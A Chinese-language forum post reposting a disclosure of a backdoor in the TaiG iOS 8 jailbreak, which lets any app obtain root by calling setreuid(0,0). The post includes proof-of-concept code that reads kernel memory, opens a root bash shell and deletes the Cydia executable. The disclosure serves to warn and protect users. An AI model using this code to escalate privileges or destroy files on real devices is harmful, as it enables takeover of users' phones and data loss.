馬上加入Android 台灣中文網,立即免費下載應用遊戲。
您需要 登錄 才可以下載或查看,沒有帳號?註冊
x
本帖最後由 mahmoodma 於 2015-7-2 04:33 編輯
友善提醒:請在接下來這幾天「不要」亂裝來路不明的插件,也「不要」裝盜版軟體源,保護你我安全,Saurik已表明,會與太極團隊一起修復!
《背景》
太極越獄iOS8.1.3-8.4含有重大安全後門,越獄後導致任意APP可以提權到Root,從而影響用戶數據的安全。舉例來說獲取Root權限後可以完全控制系統文件,甚至進一步安裝木馬等嚴重威脅用戶安全的惡意軟件
《細節》
具體分析結果顯示太極越獄修改了setreuid這個關鍵系統API,導致任意APP都可以直接調用setreuid(0,0)獲得Root執行權限,從而可以修改任意系統文件、也可以task_for_pid打開系統內核句柄從而完全控制系統底層。例如通過寫入系統目錄“/Library/LaunchDaemons”可以註冊系統服務,從而植入木馬、病毒、盜號工具威脅用戶隱私數據和密碼。
漏洞重現演示如下圖:
示例一:通過test_taig_backdoor1程序讀取內核內存
示例二:通過test_taig_backdoor2獲得root權限shell
test_taig_backdoor讀取任意內核poc代碼:
- #include <Foundation/Foundation.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <sys/param.h>
- #include <spawn.h>
- #include <mach/mach.h>
-
- void dump_kernel_memory(vm_address_t addr)
- {
- kern_return_t kret;
- mach_port_t proc_task = 0;
- vm_size_t ret_size = 0;
- vm_size_t i;
- char buffer[128] = {0};
- int ret;
-
- ret = task_for_pid(mach_task_self(), 0, &proc_task);
- if (ret != 0)
- {
- NSLog(@ "[err] get tfp0 fail: %d" , ret);
- return ;
- }
-
- NSLog(@ "task for pid 0 = %u" , proc_task);
-
- kret = vm_read_overwrite(proc_task,
- addr,
- sizeof (buffer),
- (vm_address_t)buffer,
- &ret_size);
-
- char *info = malloc (4096);
- info[0] = '\0' ;
-
- for (i = 0; i < ret_size; i++)
- {
- if (i % 16 == 0) sprintf (info + strlen (info), "\n%p: " , ( void *)(addr + i));
- sprintf (info + strlen (info), "0x%02x " , *(uint8_t*)(buffer + i));
- }
- NSLog(@ "%s" , info);
-
- free (info);
- }
-
- int main ( int argc, const char * argv[])
- {
- if (argc != 2)
- {
- NSLog(@ "%s [kernel_address]" , argv[0]);
- return 0;
- }
-
- NSLog(@ "current uid=%d euid=%d" , getuid(), geteuid());
-
- /*
- * taig backdoor test
- */
-
- setreuid(0,0);
-
- NSLog(@ "now uid=%d euid=%d" , getuid(), geteuid());
-
- vm_address_t addr = strtoul (argv[1], NULL, 16);
- dump_kernel_memory(addr);
-
- return 0;
- }
複製代碼
test_taig_backdoor2提權poc代碼:
- void get_root_shell
- {
- setreuid(0,0);
- system ( "/bin/bash -i" );
- }
複製代碼
在APP中添加下面的代碼進行刪除文件測試(謹慎執行):
- void testBackdoor()
- {
- NSLog(@ "當前運行進程uid=%d euid=%d" , getuid(), geteuid());
- setreuid(0,0);
- NSLog(@ "後門提權後,當前運行進程uid=%d euid=%d" , getuid(), geteuid());
-
- NSLog(@ "刪除任意文件演示(該測試會導致Cydia無法運行,請謹慎執行)" );
- unlink( "/Applications/Cydia.app/MobileCydia" );
- }
複製代碼
太極越獄iOS8.0-8.1.1未能找到機器進行測試,可能也有此重大後門。
《總結》
越獄軟件中藏有安全後門並非沒有先例。早在針對iOS 7的完美越獄工具evasi0n7中,越獄開發者evad3rs就修改了第0號系統調用,導致任意app可以輕易獲得內核代碼執行的能力。這一做法也引起越獄大神winocm的強烈不滿( http://winocm.moe/projects/research/2014/01/11/evading-ios-security/ )。早在2014年Winocm在博文中就已經質疑太極是否在利用這個後門。
太極越獄與evad3rs的“緋聞”一直沒有間斷。據福布斯報導(http://www.forbes.com/sites/thomasbrewster/2015/06/26/china-iphone-jailbreak-industry/)(http://mobile.163.com/15/0630/10/ ATBNV93H0011671M.html),太極曾支付evad3rs高達一百萬美金用於越獄合作開發,該合作的產物就是evasi0n7強制安裝“太極助手”的鬧劇。至於太極越獄的安全後門是“慣犯”還是“初犯”的謎底恐怕就無法揭開了。
以上內容出自:太極越獄重大安全後門 |
評分
-
查看全部評分
|